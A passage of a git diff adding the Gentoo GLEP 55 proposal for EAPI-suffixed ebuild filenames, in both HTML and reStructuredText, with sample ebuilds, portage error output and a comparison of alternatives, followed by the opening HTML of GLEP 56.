+<li><a class="reference internal" href="#current-behaviour" id="id5">Current behaviour</a><ul>
+<li><a class="reference internal" href="#incompatible-change-of-inherit-e-g-make-it-look-in-the-package-dir-too" id="id6">Incompatible change of inherit (e.g. make it look in the package dir too)</a></li>
+<li><a class="reference internal" href="#new-global-scope-function" id="id7">New global scope function</a></li>
+<li><a class="reference internal" href="#new-version-format" id="id8">New version format</a></li>
+<li><a class="reference internal" href="#use-newer-bash-features" id="id9">Use newer bash features</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#abstract-solution" id="id10">Abstract solution</a></li>
+<li><a class="reference internal" href="#proposed-solution" id="id11">Proposed solution</a></li>
+<li><a class="reference internal" href="#specification" id="id12">Specification</a></li>
+<li><a class="reference internal" href="#summary-of-ideas" id="id13">Summary of ideas</a><ul>
+<li><a class="reference internal" href="#eapi-suffixed-ebuilds-proposed-solution" id="id14">EAPI-suffixed ebuilds (proposed solution)</a></li>
+<li><a class="reference internal" href="#eapi-in-the-filename-with-one-time-extension-change" id="id15">EAPI in the filename with one-time extension change</a></li>
+<li><a class="reference internal" href="#easily-fetchable-eapi-inside-the-ebuild" id="id16">Easily fetchable EAPI inside the ebuild</a></li>
+<li><a class="reference internal" href="#easily-fetchable-eapi-inside-the-ebuild-and-one-time-extension-change" id="id17">Easily fetchable EAPI inside the ebuild and one-time extension change</a></li>
+<li><a class="reference internal" href="#use-different-subdirectories-for-different-eapis-i-e-cat-pkg-eapix" id="id18">Use different subdirectories for different EAPIs, i.e. cat/pkg/eapiX/</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#references" id="id19">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id20">Copyright</a></li>
+</ul>
+</div>
+<blockquote>
+<p>&quot;A little learning is a dangerous thing; drink deep, or taste not the Pierian
+spring: there shallow draughts intoxicate the brain, and drinking largely
+sobers us again.&quot;</p>
+<p class="attribution">&mdash;Alexander Pope, An Essay on Criticism</p>
+</blockquote>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id3">Abstract</a></h1>
+<p>This GLEP proposes usage of EAPI-suffixed file extensions for ebuilds (for
+example, foo-1.2.3.ebuild-1).</p>
+</div>
+<div class="section" id="problem">
+<h1><a class="toc-backref" href="#id4">Problem</a></h1>
+<p>The current way of specifying the EAPI in ebuilds is flawed. In order to get the
+EAPI the package manager needs to source the ebuild, which itself needs the EAPI
+in the first place. Otherwise it imposes a serious limitation, namely every ebuild,
+using any of the future EAPIs, will have to be source'able by old package
+managers and hence there is no way to do any of the following:</p>
+<blockquote>
+<ul class="simple">
+<li>Change the behaviour of inherit in any way (for example, to extend or change
+eclass functionality).</li>
+<li>Add new global scope functions in any sane way.</li>
+<li>Extend versioning rules in an EAPI - for example, addition of the scm
+suffix - GLEP54 <a class="footnote-reference" href="#glep54" id="id1">[1]</a> or allowing more sensible version formats like
+<tt class="docutils literal"><span class="pre">1-rc1</span></tt>, <tt class="docutils literal"><span class="pre">1-alpha</span></tt> etc. to match upstream more closely.</li>
+<li>Use newer bash features.</li>
+</ul>
+</blockquote>
+</div>
+<div class="section" id="current-behaviour">
+<h1><a class="toc-backref" href="#id5">Current behaviour</a></h1>
+<p>Following subsections show what happens if you introduce any of the mentioned
+changes in an ebuild and try to install it with portage 2.1.6.13.</p>
+<div class="section" id="incompatible-change-of-inherit-e-g-make-it-look-in-the-package-dir-too">
+<h2><a class="toc-backref" href="#id6">Incompatible change of inherit (e.g. make it look in the package dir too)</a></h2>
+<p><tt class="docutils literal"><span class="pre">sys-apps/foo-1.ebuild</span></tt>:</p>
+<pre class="literal-block">
+EAPI=&quot;5&quot;
+inherit &quot;foo&quot;
+
+DESCRIPTION=&quot;&quot;
+HOMEPAGE=&quot;&quot;
+SRC_URI=&quot;&quot;
+...
+</pre>
+<p>Result:</p>
+<pre class="literal-block">
+*
+* ERROR: sys-apps/foo-1 failed.
+* Call stack:
+*               ebuild.sh, line 1879:  Called _source_ebuild
+*               ebuild.sh, line 1818:  Called source '/var/lib/gentoo/repositories/peper/sys-apps/foo/foo-1.ebuild'
+*            foo-1.ebuild, line    6:  Called inherit 'foo'
+*               ebuild.sh, line 1218:  Called die
+* The specific snippet of code:
+*              [ ! -e &quot;$location&quot; ] &amp;&amp; die &quot;${1}.eclass could not be found by inherit()&quot;
+*  The die message:
+*   foo.eclass could not be found by inherit()
+*
+* If you need support, post the topmost build error, and the call stack if relevant.
+* This ebuild is from an overlay: '/var/lib/gentoo/repositories/peper/'
+*
+
+!!! All ebuilds that could satisfy &quot;sys-apps/foo&quot; have been masked.
+!!! One of the following masked packages is required to complete your request:
+- sys-apps/foo-1 (masked by: corruption)
+</pre>
+<p>Current portage looks for eclasses only in the <tt class="docutils literal">eclass</tt> directory of a
+repository. This results in a fatal error and ebuild being masked by corruption
+- might be pretty confusing to users.</p>
+</div>
+<div class="section" id="new-global-scope-function">
+<h2><a class="toc-backref" href="#id7">New global scope function</a></h2>
+<p><tt class="docutils literal"><span class="pre">sys-apps/foo-1.ebuild</span></tt>:</p>
+<pre class="literal-block">
+EAPI=&quot;5&quot;
+new_global_scope_function &quot;foo&quot;
+
+DESCRIPTION=&quot;&quot;
+HOMEPAGE=&quot;&quot;
+SRC_URI=&quot;&quot;
+...
+</pre>
+<p>Result:</p>
+<pre class="literal-block">
+/var/lib/gentoo/repositories/peper/sys-apps/foo/foo-1.ebuild: line 7: new_global_scope_function: command not found
+
+!!! All ebuilds that could satisfy &quot;sys-apps/foo&quot; have been masked.
+!!! One of the following masked packages is required to complete your request:
+- sys-apps/foo-1 (masked by: EAPI 5)
+
+The current version of portage supports EAPI '2'. You must upgrade to a
+newer version of portage before EAPI masked packages can be installed.
+</pre>
+<p>Not that bad as user is advised to upgrade portage.</p>
+</div>
+<div class="section" id="new-version-format">
+<h2><a class="toc-backref" href="#id8">New version format</a></h2>
+<p><tt class="docutils literal"><span class="pre">sys-apps/foo-2-rc1.ebuild</span></tt>:</p>
+<pre class="literal-block">
+Invalid ebuild name: /var/lib/gentoo/repositories/peper/sys-apps/foo/foo-2-rc1.ebuild
+
+emerge: there are no ebuilds to satisfy &quot;sys-apps/foo&quot;
+</pre>
+<p>Not the best error message, especially if there are lots of them.</p>
+</div>
+<div class="section" id="use-newer-bash-features">
+<h2><a class="toc-backref" href="#id9">Use newer bash features</a></h2>
+<p><tt class="docutils literal">|&amp;</tt> is a new type of redirection added in bash-4. It cannot be used even in
+local scope as bash still parses the whole ebuild.</p>
+<p><tt class="docutils literal"><span class="pre">sys-apps/foo-1.ebuild</span></tt>:</p>
+<pre class="literal-block">
+EAPI=&quot;5&quot;
+
+foo() {
+   echo &quot;foo&quot; |&amp; cat
+}
+</pre>
+<p>Result:</p>
+<pre class="literal-block">
+/var/lib/gentoo/repositories/peper/sys-apps/foo/foo-1.ebuild: line 8: syntax error near unexpected token `&amp;'
+/var/lib/gentoo/repositories/peper/sys-apps/foo/foo-1.ebuild: line 8: ` echo &quot;foo&quot; |&amp; cat'
+*
+* ERROR: sys-apps/foo-1 failed.
+* Call stack:
+*               ebuild.sh, line 1879:  Called _source_ebuild
+*               ebuild.sh, line 1818:  Called die
+* The specific snippet of code:
+*      source &quot;${EBUILD}&quot; || die &quot;error sourcing ebuild&quot;
+*  The die message:
+*   error sourcing ebuild
+*
+* If you need support, post the topmost build error, and the call stack if relevant.
+* This ebuild is from an overlay: '/var/lib/gentoo/repositories/peper/'
+*                                                                                                                                                                                                       ... done!
+
+!!! All ebuilds that could satisfy &quot;sys-apps/foo&quot; have been masked.
+!!! One of the following masked packages is required to complete your request:
+- sys-apps/foo-1 (masked by: corruption)
+</pre>
+<p>Again, not the best error.</p>
+</div>
+</div>
+<div class="section" id="abstract-solution">
+<h1><a class="toc-backref" href="#id10">Abstract solution</a></h1>
+<p>A solution to this problem has to lift those limitations and the only way to do
+it is to make the EAPI of an ebuild available to the package managers in a way
+that doesn't require them to source the ebuild. Another important requirement is
+for the solution to be backward compatible, which has the pleasant side-effect
+of making the solution applicable in the Gentoo tree right away. Opposed to
+waiting an arbitrary amount of time, which is never long enough anyway, as the
+issues listed on the common portage problems page - <a class="footnote-reference" href="#portageproblems" id="id2">[2]</a> - show.</p>
+</div>
+<div class="section" id="proposed-solution">
+<h1><a class="toc-backref" href="#id11">Proposed solution</a></h1>
+<p>The proposed solution is to use EAPI-suffixed file extensions for ebuilds. This
+allows package managers to trivially read the EAPI from the ebuild filename. It
+is also backwards compatible, because currently ebuilds are recognised by the
+<tt class="docutils literal">.ebuild</tt> file extension and hence EAPI-suffixed ebuilds are simply ignored by
+the package managers.</p>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id12">Specification</a></h1>
+<p>Ebuild filename extension syntax: <tt class="docutils literal"><span class="pre">ebuild[-&lt;EAPI&gt;]</span></tt>, where <tt class="docutils literal">[]</tt> denotes an
+optional part, and <tt class="docutils literal">&lt;EAPI&gt;</tt> is the EAPI of the ebuild.</p>
+<p>The EAPI used by the ebuild is the EAPI included in the filename if it is set.
+Otherwise the EAPI set inside the ebuild is used, which defaults to 0 (this is
+the current behaviour).</p>
+<p>Ebuilds with unsupported EAPIs are masked.</p>
+<p>It should be considered an error to set the EAPI both in the filename and in the
+ebuild.</p>
+<p>Examples:</p>
+<blockquote>
+<ul>
+<li><dl class="first docutils">
+<dt><tt class="docutils literal"><span class="pre">pkg-1.ebuild</span></tt>, no EAPI set inside the ebuild</dt>
+<dd><p class="first last">EAPI defaults to 0.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt><tt class="docutils literal"><span class="pre">pkg-2.ebuild-1</span></tt>, no EAPI set inside the ebuild</dt>
+<dd><p class="first last">EAPI 1 is used.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt><tt class="docutils literal"><span class="pre">pkg-3.ebuild-1</span></tt>, <tt class="docutils literal"><span class="pre">EAPI=&quot;1&quot;</span></tt></dt>
+<dd><p class="first last">EAPI set in both places - error.</p>
+</dd>
+</dl>
+</li>
+</ul>
+</blockquote>
+<p>Note that it is still not permitted to have more than one ebuild with equal
+category, package name, and version. Although it would have the advantage of
+allowing authors to provide backwards compatible ebuilds, it would introduce
+problems too. The first is the requirement to have strict EAPI ordering, the
+second is ensuring that all the ebuilds for a single category/package-version
+are equivalent, i.e. installing any of them has exactly the same effect on a
+given system.</p>
+<p>Also note that it is not a new restriction. It is already possible to illegally
+have multiple versions with different EAPIs as e.g. <tt class="docutils literal">1.0 == 1.00 == <span class="pre">1.00-r0</span></tt>
+and hence you could have <tt class="docutils literal"><span class="pre">foo-1.0.ebuild</span></tt> with EAPI X and <tt class="docutils literal"><span class="pre">foo-1.00.ebuild</span></tt>
+with EAPI Y.</p>
+</div>
+<div class="section" id="summary-of-ideas">
+<h1><a class="toc-backref" href="#id13">Summary of ideas</a></h1>
+<div class="section" id="eapi-suffixed-ebuilds-proposed-solution">
+<h2><a class="toc-backref" href="#id14">EAPI-suffixed ebuilds (proposed solution)</a></h2>
+<dl class="docutils">
+<dt>Properties:</dt>
+<dd><ul class="first last simple">
+<li>Can be used right away: yes</li>
+<li>Hurts performance: no</li>
+</ul>
+</dd>
+</dl>
+<p>Some say it is clear and simple, others that it is ugly and unintuitive.</p>
+</div>
+<div class="section" id="eapi-in-the-filename-with-one-time-extension-change">
+<h2><a class="toc-backref" href="#id15">EAPI in the filename with one-time extension change</a></h2>
+<p>One of the proposed filename formats:
+<tt class="docutils literal"><span class="pre">&lt;PKG&gt;-&lt;VER&gt;.eapi-&lt;EAPI&gt;.eb</span></tt></p>
+<dl class="docutils">
+<dt>Properties:</dt>
+<dd><ul class="first last simple">
+<li>Can be used right away: yes</li>
+<li>Hurts performance: no</li>
+</ul>
+</dd>
+</dl>
+<p>This is equivalent to the proposed solution.</p>
+<p>Some say it is better because the extension is static.</p>
+</div>
+<div class="section" id="easily-fetchable-eapi-inside-the-ebuild">
+<h2><a class="toc-backref" href="#id16">Easily fetchable EAPI inside the ebuild</a></h2>
+<dl class="docutils">
+<dt>Properties:</dt>
+<dd><ul class="first last simple">
+<li>Can be used right away: no</li>
+<li>Hurts performance: yes</li>
+</ul>
+</dd>
+</dl>
+<p>Cannot be used right away as it would trigger the errors shown in Current
+behaviour section for old package managers.</p>
+<p>Performance decrease comes from the fact that with version format changes in the
+picture package managers need EAPI to parse the ebuild's version. That means that merely
+picking the best version of a package requires loading EAPI (from cache or the
+ebuild) for each available ebuild.</p>
+<p>Here is more or less how the package manager figures out the best available
+version for a package with N versions available.</p>
+<blockquote>
+<ul class="simple">
+<li>EAPI in the filename<ul>
+<li>Read the directory containing the package - readdir()</li>
+<li>For each ebuild, read its EAPI and using that parse its version - no I/O</li>
+<li>Sort the versions - no I/O</li>
+<li>Going down from the highest to the lowest version<ul>
+<li>Get the metadata from cache - 2 x stat() + read()</li>
+<li>break if the version is visible</li>
+</ul>
+</li>
+</ul>
+</li>
+<li>EAPI in the ebuild<ul>
+<li>Read the directory containing the package - readdir()</li>
+<li>For each ebuild load its metadata from cache to get its EAPI - N x (2 x stat() + read())</li>
+<li>Sort the versions - no I/O</li>
+<li>Going down from the highest to the lowest version<ul>
+<li>(metadata is already loaded) - no I/O</li>
+<li>break if the version is visible - no I/O</li>
+</ul>
+</li>
+</ul>
+</li>
+</ul>
+</blockquote>
+<p>The difference is in for how many versions the package manager needs to hit
+cache. With EAPI in the ebuild it needs to do that for all versions, with EAPI
+in the filename it depends on versions visibility.
+For example, package foo has versions 1, 2, 3, 4, 5 and 6. 6 is masked, 5 is
+~arch and 1,2,3 and 4 are arch. Say, the user accepts only arch for this
+package. With EAPI in the filename it will read metadata only for versions
+6, 5 and 4. With EAPI in the ebuild it needs to load metadata for all versions.</p>
+<p>It's hard to say what's the avarage case, but surely the worst case scenario
+(when only the lowest version is visible) is uncommon.</p>
+</div>
+<div class="section" id="easily-fetchable-eapi-inside-the-ebuild-and-one-time-extension-change">
+<h2><a class="toc-backref" href="#id17">Easily fetchable EAPI inside the ebuild and one-time extension change</a></h2>
+<dl class="docutils">
+<dt>Properties:</dt>
+<dd><ul class="first last simple">
+<li>Can be used right away: yes</li>
+<li>Hurts performance: yes</li>
+</ul>
+</dd>
+</dl>
+<p>Performance decrease as described in the previous section.</p>
+<p>Some say it is clear and simple, others that it is confusing and unintuitive,
+because of the arbitrary format restrictions in what is a bash script otherwise.</p>
+</div>
+<div class="section" id="use-different-subdirectories-for-different-eapis-i-e-cat-pkg-eapix">
+<h2><a class="toc-backref" href="#id18">Use different subdirectories for different EAPIs, i.e. cat/pkg/eapiX/</a></h2>
+<dl class="docutils">
+<dt>Properties:</dt>
+<dd><ul class="first last simple">
+<li>Can be used right away: yes</li>
+<li>Hurts performance: yes</li>
+</ul>
+</dd>
+</dl>
+<p>Performance decrease comes from the fact that it adds several more directory
+reads.</p>
+<p>Some say that it makes it much harder for maintainers to see what they have.</p>
+</div>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id19">References</a></h1>
+<table class="docutils footnote" frame="void" id="glep54" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1">[1]</a></td><td>GLEP 54, scm package version suffix
+(<a class="reference external" href="http://glep.gentoo.org/glep-0054.html">http://glep.gentoo.org/glep-0054.html</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="portageproblems" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2">[2]</a></td><td>Common portage problems
+(<a class="reference external" href="http://www.gentoo.org/proj/en/portage/doc/common-problems.xml">http://www.gentoo.org/proj/en/portage/doc/common-problems.xml</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id20">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+<!-- vim: set tw=80 fileencoding=utf-8 spell spelllang=en et : -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0055.txt">View document source</a>.
+Generated on: 2010-04-07 22:12 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0055.txt b/xml/htdocs/proj/en/glep/glep-0055.txt
new file mode 100644
index 00000000..ffeaa251
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0055.txt
@@ -0,0 +1,338 @@
+GLEP: 55
+Title: Use EAPI-suffixed ebuilds (.ebuild-EAPI)
+Version: $Revision: 1.5 $
+Last-Modified: $Date: 2009/05/17 20:56:53 $
+Author: Piotr Jaroszyński <peper@gentoo.org>
+Status: Draft
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 17-Dec-2007
+Post-History: 17-Dec-2007, 22-Dec-2007, 17-May-2009
+
+  "A little learning is a dangerous thing; drink deep, or taste not the Pierian
+  spring: there shallow draughts intoxicate the brain, and drinking largely
+  sobers us again."
+
+  -- Alexander Pope, An Essay on Criticism
+
+Abstract
+========
+
+This GLEP proposes usage of EAPI-suffixed file extensions for ebuilds (for
+example, foo-1.2.3.ebuild-1).
+
+Problem
+=======
+
+The current way of specifying the EAPI in ebuilds is flawed. In order to get the
+EAPI the package manager needs to source the ebuild, which itself needs the EAPI
+in the first place. Otherwise it imposes a serious limitation, namely every ebuild,
+using any of the future EAPIs, will have to be source'able by old package
+managers and hence there is no way to do any of the following:
+
+  *  Change the behaviour of inherit in any way (for example, to extend or change
+     eclass functionality).
+
+  *  Add new global scope functions in any sane way.
+
+  *  Extend versioning rules in an EAPI - for example, addition of the scm
+     suffix - GLEP54 [#GLEP54]_ or allowing more sensible version formats like
+     ``1-rc1``, ``1-alpha`` etc. to match upstream more closely.
+
+  *  Use newer bash features.
+
+
+Current behaviour
+=================
+
+Following subsections show what happens if you introduce any of the mentioned
+changes in an ebuild and try to install it with portage 2.1.6.13.
+
+Incompatible change of inherit (e.g. make it look in the package dir too)
+-------------------------------------------------------------------------
+
+``sys-apps/foo-1.ebuild``::
+
+ EAPI="5"
+ inherit "foo"
+
+ DESCRIPTION=""
+ HOMEPAGE=""
+ SRC_URI=""
+ ...
+
+Result::
+
+ *
+ * ERROR: sys-apps/foo-1 failed.
+ * Call stack:
+ *               ebuild.sh, line 1879:  Called _source_ebuild
+ *               ebuild.sh, line 1818:  Called source '/var/lib/gentoo/repositories/peper/sys-apps/foo/foo-1.ebuild'
+ *            foo-1.ebuild, line    6:  Called inherit 'foo'
+ *               ebuild.sh, line 1218:  Called die
+ * The specific snippet of code:
+ *              [ ! -e "$location" ] && die "${1}.eclass could not be found by inherit()"
+ *  The die message:
+ *   foo.eclass could not be found by inherit()
+ *
+ * If you need support, post the topmost build error, and the call stack if relevant.
+ * This ebuild is from an overlay: '/var/lib/gentoo/repositories/peper/'
+ *
+
+ !!! All ebuilds that could satisfy "sys-apps/foo" have been masked.
+ !!! One of the following masked packages is required to complete your request:
+ - sys-apps/foo-1 (masked by: corruption)
+
+Current portage looks for eclasses only in the ``eclass`` directory of a
+repository. This results in a fatal error and ebuild being masked by corruption
+- might be pretty confusing to users.
+
+New global scope function
+-------------------------
+
+``sys-apps/foo-1.ebuild``::
+
+ EAPI="5"
+ new_global_scope_function "foo"
+
+ DESCRIPTION=""
+ HOMEPAGE=""
+ SRC_URI=""
+ ...
+
+Result::
+
+ /var/lib/gentoo/repositories/peper/sys-apps/foo/foo-1.ebuild: line 7: new_global_scope_function: command not found
+
+ !!! All ebuilds that could satisfy "sys-apps/foo" have been masked.
+ !!! One of the following masked packages is required to complete your request:
+ - sys-apps/foo-1 (masked by: EAPI 5)
+
+ The current version of portage supports EAPI '2'. You must upgrade to a
+ newer version of portage before EAPI masked packages can be installed.
+
+Not that bad as user is advised to upgrade portage.
+
+New version format
+------------------
+
+``sys-apps/foo-2-rc1.ebuild``::
+
+ Invalid ebuild name: /var/lib/gentoo/repositories/peper/sys-apps/foo/foo-2-rc1.ebuild
+
+ emerge: there are no ebuilds to satisfy "sys-apps/foo"
+
+Not the best error message, especially if there are lots of them.
+
+Use newer bash features
+-----------------------
+
+``|&`` is a new type of redirection added in bash-4. It cannot be used even in
+local scope as bash still parses the whole ebuild.
+
+``sys-apps/foo-1.ebuild``::
+
+ EAPI="5"
+
+ foo() {
+    echo "foo" |& cat
+ }
+
+Result::
+
+ /var/lib/gentoo/repositories/peper/sys-apps/foo/foo-1.ebuild: line 8: syntax error near unexpected token `&'
+ /var/lib/gentoo/repositories/peper/sys-apps/foo/foo-1.ebuild: line 8: ` echo "foo" |& cat'
+ *
+ * ERROR: sys-apps/foo-1 failed.
+ * Call stack:
+ *               ebuild.sh, line 1879:  Called _source_ebuild
+ *               ebuild.sh, line 1818:  Called die
+ * The specific snippet of code:
+ *      source "${EBUILD}" || die "error sourcing ebuild"
+ *  The die message:
+ *   error sourcing ebuild
+ *
+ * If you need support, post the topmost build error, and the call stack if relevant.
+ * This ebuild is from an overlay: '/var/lib/gentoo/repositories/peper/'
+ *                                                                                                                                                                                                       ... done!
+
+ !!! All ebuilds that could satisfy "sys-apps/foo" have been masked.
+ !!! One of the following masked packages is required to complete your request:
+ - sys-apps/foo-1 (masked by: corruption)
+
+Again, not the best error.
+
+Abstract solution
+=================
+
+A solution to this problem has to lift those limitations and the only way to do
+it is to make the EAPI of an ebuild available to the package managers in a way
+that doesn't require them to source the ebuild. Another important requirement is
+for the solution to be backward compatible, which has the pleasant side-effect
+of making the solution applicable in the Gentoo tree right away. Opposed to
+waiting an arbitrary amount of time, which is never long enough anyway, as the
+issues listed on the common portage problems page - [#PortageProblems]_ - show.
+
+Proposed solution
+=================
+
+The proposed solution is to use EAPI-suffixed file extensions for ebuilds. This
+allows package managers to trivially read the EAPI from the ebuild filename. It
+is also backwards compatible, because currently ebuilds are recognised by the
+``.ebuild`` file extension and hence EAPI-suffixed ebuilds are simply ignored by
+the package managers.
+
+
+Specification
+=============
+
+Ebuild filename extension syntax: ``ebuild[-<EAPI>]``, where ``[]`` denotes an
+optional part, and ``<EAPI>`` is the EAPI of the ebuild.
+
+The EAPI used by the ebuild is the EAPI included in the filename if it is set.
+Otherwise the EAPI set inside the ebuild is used, which defaults to 0 (this is
+the current behaviour).
+
+Ebuilds with unsupported EAPIs are masked.
+
+It should be considered an error to set the EAPI both in the filename and in the
+ebuild.
+
+Examples:
+
+  *  ``pkg-1.ebuild``, no EAPI set inside the ebuild
+       EAPI defaults to 0.
+
+  *  ``pkg-2.ebuild-1``, no EAPI set inside the ebuild
+       EAPI 1 is used.
+
+  *  ``pkg-3.ebuild-1``, ``EAPI="1"``
+       EAPI set in both places - error.
+
+Note that it is still not permitted to have more than one ebuild with equal
+category, package name, and version. Although it would have the advantage of
+allowing authors to provide backwards compatible ebuilds, it would introduce
+problems too. The first is the requirement to have strict EAPI ordering, the
+second is ensuring that all the ebuilds for a single category/package-version
+are equivalent, i.e. installing any of them has exactly the same effect on a
+given system.
+
+Also note that it is not a new restriction. It is already possible to illegally
+have multiple versions with different EAPIs as e.g. ``1.0 == 1.00 == 1.00-r0``
+and hence you could have ``foo-1.0.ebuild`` with EAPI X and ``foo-1.00.ebuild``
+with EAPI Y.
+
+Summary of ideas
+================
+
+EAPI-suffixed ebuilds (proposed solution)
+-----------------------------------------
+
+Properties:
+ * Can be used right away: yes
+ * Hurts performance: no
+
+Some say it is clear and simple, others that it is ugly and unintuitive.
+
+EAPI in the filename with one-time extension change
+---------------------------------------------------
+
+One of the proposed filename formats:
+``<PKG>-<VER>.eapi-<EAPI>.eb``
+
+Properties:
+ * Can be used right away: yes
+ * Hurts performance: no
+
+This is equivalent to the proposed solution.
+
+Some say it is better because the extension is static.
+
+Easily fetchable EAPI inside the ebuild
+---------------------------------------
+
+Properties:
+ * Can be used right away: no
+ * Hurts performance: yes
+
+Cannot be used right away as it would trigger the errors shown in Current
+behaviour section for old package managers.
+
+Performance decrease comes from the fact that with version format changes in the
+picture package managers need EAPI to parse the ebuild's version. That means that merely
+picking the best version of a package requires loading EAPI (from cache or the
+ebuild) for each available ebuild.
+
+Here is more or less how the package manager figures out the best available
+version for a package with N versions available.
+
+ * EAPI in the filename
+
+   * Read the directory containing the package - readdir()
+   * For each ebuild, read its EAPI and using that parse its version - no I/O
+   * Sort the versions - no I/O
+   * Going down from the highest to the lowest version
+
+     * Get the metadata from cache - 2 x stat() + read()
+     * break if the version is visible
+
+ * EAPI in the ebuild
+
+   * Read the directory containing the package - readdir()
+   * For each ebuild load its metadata from cache to get its EAPI - N x (2 x stat() + read())
+   * Sort the versions - no I/O
+   * Going down from the highest to the lowest version
+
+     * (metadata is already loaded) - no I/O
+     * break if the version is visible - no I/O
+
+The difference is in for how many versions the package manager needs to hit
+cache. With EAPI in the ebuild it needs to do that for all versions, with EAPI
+in the filename it depends on versions visibility.
+For example, package foo has versions 1, 2, 3, 4, 5 and 6. 6 is masked, 5 is
+~arch and 1,2,3 and 4 are arch. Say, the user accepts only arch for this
+package. With EAPI in the filename it will read metadata only for versions
+6, 5 and 4. With EAPI in the ebuild it needs to load metadata for all versions.
+
+It's hard to say what's the avarage case, but surely the worst case scenario
+(when only the lowest version is visible) is uncommon.
+
+Easily fetchable EAPI inside the ebuild and one-time extension change
+---------------------------------------------------------------------
+
+Properties:
+ * Can be used right away: yes
+ * Hurts performance: yes
+
+Performance decrease as described in the previous section.
+
+Some say it is clear and simple, others that it is confusing and unintuitive,
+because of the arbitrary format restrictions in what is a bash script otherwise.
+
+Use different subdirectories for different EAPIs, i.e. cat/pkg/eapiX/
+---------------------------------------------------------------------
+
+Properties:
+ * Can be used right away: yes
+ * Hurts performance: yes
+
+Performance decrease comes from the fact that it adds several more directory
+reads.
+
+Some say that it makes it much harder for maintainers to see what they have.
+
+References
+==========
+
+.. [#GLEP54] GLEP 54, scm package version suffix
+    (http://glep.gentoo.org/glep-0054.html)
+
+.. [#PortageProblems] Common portage problems
+    (http://www.gentoo.org/proj/en/portage/doc/common-problems.xml)
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
+.. vim: set tw=80 fileencoding=utf-8 spell spelllang=en et :
diff --git a/xml/htdocs/proj/en/glep/glep-0056.html b/xml/htdocs/proj/en/glep/glep-0056.html
new file mode 100644
index 00000000..ee928645
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0056.html
@@ -0,0 +1,243 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 56 -- USE flag descriptions in metadata</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0056.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">56</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">USE flag descriptions in metadata</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0056.txt?cvsroot=gentoo">2008/09/02 20:37:40</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Doug Goldstein &lt;cardoe&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">03-Jun-2008</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">05-June-2008, 13-Jun-2008</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id12">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id13">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id14">Specification</a></li>
+<li><a class="reference internal" href="#credits" id="id15">Credits</a></li>
+<li><a class="reference internal" href="#references" id="id16">References</a></li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id17">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#copyright" id="id18">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
